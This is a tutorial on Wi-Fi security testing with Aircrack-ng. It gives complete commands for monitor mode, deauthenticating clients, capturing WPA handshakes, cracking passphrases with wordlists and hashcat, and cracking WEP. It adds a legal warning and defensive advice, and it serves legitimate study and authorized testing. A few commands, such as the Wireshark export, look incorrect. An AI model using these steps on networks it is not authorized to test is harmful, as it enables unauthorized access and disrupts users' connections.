Aircrack-ng Wi-Fi Security Testing Guide

Understanding Aircrack-ng and Wi-Fi Security

Aircrack-ng is a comprehensive suite of wireless security auditing tools that detect and analyze Wi-Fi networks, capture handshakes, and crack WPA/WPA2 encryption. This powerful toolset enables security professionals to assess wireless network security, identify weak configurations, and test password strength in authorized penetration testing environments.

Wi-Fi security testing is critical because wireless networks represent significant attack surfaces. Organizations often overlook wireless security, leaving networks vulnerable to eavesdropping, unauthorized access, and credential theft. Understanding how to test wireless networks helps security professionals identify vulnerabilities before malicious actors do.

System Requirements and Wireless Adapters

Supported Wireless Adapters

Aircrack-ng requires a wireless adapter supporting monitor mode—a special operating mode that captures all wireless frames regardless of SSID. Not all adapters support this capability.

Compatible adapters include:

• Alfa AWUS036NH (popular budget option)
• Alfa AWUS1900 (dual-band 5GHz support)
• Ralink RT3070/RT3272
• Atheros AR9271
• Broadcom BCM43224 (limited support)

Verify monitor mode capability:

sudo iwconfig

Look for “Monitor” in the supported modes.

Setting Up Monitor Mode

Enable monitor mode on your wireless adapter:

# Identify your wireless interface
iwconfig

# Create monitor mode interface (e.g., wlan0)
sudo airmon-ng start wlan0

# Verify monitor mode is active
iwconfig mon0

If the interface is locked by network manager:

sudo airmon-ng check kill
sudo airmon-ng start wlan0

Network Discovery and Reconnaissance

Passive Network Discovery

Scan for available Wi-Fi networks without connecting:

sudo airodump-ng mon0

Output interpretation:

• BSSID: Router MAC address
• PWR: Signal strength (lower = weaker signal)
• Beacons: Number of advertisement frames
• #Data: Captured data packets
• ENC: Encryption type (WPA, WPA2, Open)
• CIPHER: Encryption algorithm (CCMP, TKIP)
• AUTH: Authentication method
• ESSID: Network name

Filtering Networks

Focus on specific targets:

sudo airodump-ng mon0 --essid "TargetNetwork"
sudo airodump-ng mon0 --bssid AA:BB:CC:DD:EE:FF

Combine filters to target specific networks.

Channel Hopping vs. Fixed Channel

Monitor mode can hop between channels or focus on specific frequencies:

# Monitor specific channel
sudo airodump-ng mon0 -c 6

# Monitor channel range (UK/EU specific)
sudo airodump-ng mon0 --band a

Common channels:

• 2.4GHz band: Channels 1-13 (worldwide)
• 5GHz band: Channels 36-165

Handshake Capture

WPA/WPA2 cracking requires capturing the 4-way handshake—authentication frames exchanged during client connection.

Capturing Handshakes

Run airodump-ng targeted on specific network:

sudo airodump-ng mon0 -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture

Important flags:

• -c 6: Target channel 6
• --bssid: Target router MAC address
• -w capture: Write to capture file

The process creates .cap files containing captured traffic.

Forcing New Handshakes

Waiting for organic client connections is slow. Force disconnections:

sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF mon0

This sends 10 deauthentication frames, forcing clients offline. When they reconnect, Aircrack-ng captures the handshake.

Monitor window shows “WPA handshake” when successful.

Verifying Handshake Capture

Confirm successful capture:

sudo aircrack-ng capture-01.cap | grep "WPA"

Successful output shows the handshake was captured and ready for cracking.

Dictionary-Based WPA2 Cracking

WPA2-PSK (Pre-Shared Key) networks are vulnerable to dictionary attacks if passwords are weak.

Basic Dictionary Attack

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

Parameters:

• -w: Path to password wordlist
• -b: Target BSSID
• capture-01.cap: Captured handshake file

If the password exists in the wordlist, Aircrack-ng displays it with the associated PMK (Pairwise Master Key).

Custom Wordlist Generation

Create targeted wordlists for common patterns:

# Using Crunch for pattern-based generation
crunch 8 12 "abcdefghijklmnopqrstuvwxyz0123456789" -o custom-passwords.txt

# Filter rockyou for reasonable lengths
grep -E "^.{8,16}$" /usr/share/wordlists/rockyou.txt > filtered-passwords.txt

Optimized Cracking Speed

Use GPU acceleration with Hashcat (faster than Aircrack-ng CPU cracking):

# Convert Aircrack capture to Hashcat format
cap2hccapx capture-01.cap capture.hccapx

# GPU-accelerated cracking
hashcat -m 2500 capture.hccapx /usr/share/wordlists/rockyou.txt

Hashcat GPU cracking is 10-100x faster than CPU-based attacks.

Practical Wi-Fi Lab Scenario

Set up a complete Wi-Fi security assessment in your lab:

Step 1: Prepare wireless adapter

sudo airmon-ng check kill
sudo airmon-ng start wlan0

Step 2: Discover networks

sudo airodump-ng mon0
# Note target BSSID and channel

Step 3: Capture handshake

# Terminal 1: Capture traffic
sudo airodump-ng mon0 -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake

# Terminal 2: Force client reconnection
sleep 5
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF mon0

Step 4: Crack password

# CPU cracking
sudo aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap

# Or GPU cracking
hashcat -m 2500 handshake.hccapx rockyou.txt -w 4

Advanced Aircrack-ng Techniques

WEP Cracking

Older WEP encryption (deprecated) is vulnerable to statistical analysis:

# Capture WEP network traffic
sudo airodump-ng mon0 -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep-capture

# Generate traffic if needed
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 mon0

# Crack WEP
sudo aircrack-ng wep-capture-01.cap

WEP can be cracked with significantly fewer packets than WPA2 (typically 40,000-50,000 IVs).

Wordlist Optimization

Combine multiple wordlists and remove duplicates:

cat rockyou.txt custom.txt | sort | uniq > combined-wordlist.txt

# Compress for faster processing
gzip combined-wordlist.txt

Analysis with Wireshark

Export captured traffic for detailed analysis:

# Convert Aircrack capture to Wireshark format
aircrack-ng handshake-01.cap -o wireshark
wireshark handshake-01.pcap

Ethical Considerations and Legal Compliance

Critical legal warning: Wi-Fi testing without explicit owner authorization is illegal in most jurisdictions. Follow these guidelines:

Authorization: Obtain written permission from network owner before any testing.

Lab environment: Conduct practice attacks on networks you control or in isolated lab environments.

Documentation: Record all testing activities, tools used, findings, and remediation recommendations.

Disclosure: Report vulnerabilities responsibly to the network owner with adequate time for remediation.

Avoid service disruption: Structure attacks to minimize impact on legitimate users.

Defending Against Wi-Fi Attacks

Understanding attack vectors helps you recommend effective defenses:

• Strong passwords: Enforce minimum 15+ character randomly generated passphrases
• WPA3 encryption: Upgrade to WPA3 where possible (more resistant to brute-force)
• Hide SSID broadcast: Adds minor obscurity (not a real defense)
• MAC filtering: Limit which devices can connect
• Guest network isolation: Separate guest traffic from corporate networks
• Regular updates: Keep router firmware current with security patches

Conclusion

Aircrack-ng is an essential toolkit for wireless security professionals. Understanding how to discover networks, capture handshakes, and test encryption strength enables comprehensive Wi-Fi security assessments. The tools demonstrate both the importance of strong Wi-Fi security practices and the vulnerability of weak implementations.

Practice these techniques only in authorized, controlled environments. Combine Aircrack-ng with other assessment tools and manual testing for complete wireless security evaluations. Recommend strong passphrases and WPA3 encryption to organizations you assess.